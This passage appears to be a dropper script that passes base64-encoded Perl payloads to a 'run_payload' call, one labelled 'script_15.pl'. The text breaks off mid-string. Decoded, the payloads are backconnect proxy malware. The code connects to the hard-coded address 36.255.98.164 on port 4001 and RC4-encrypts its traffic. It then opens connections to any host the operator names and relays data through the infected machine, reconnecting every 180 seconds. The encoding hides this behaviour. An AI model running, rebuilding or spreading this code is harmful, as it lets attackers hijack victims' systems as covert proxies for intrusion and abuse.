JIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_15.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTY0JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiI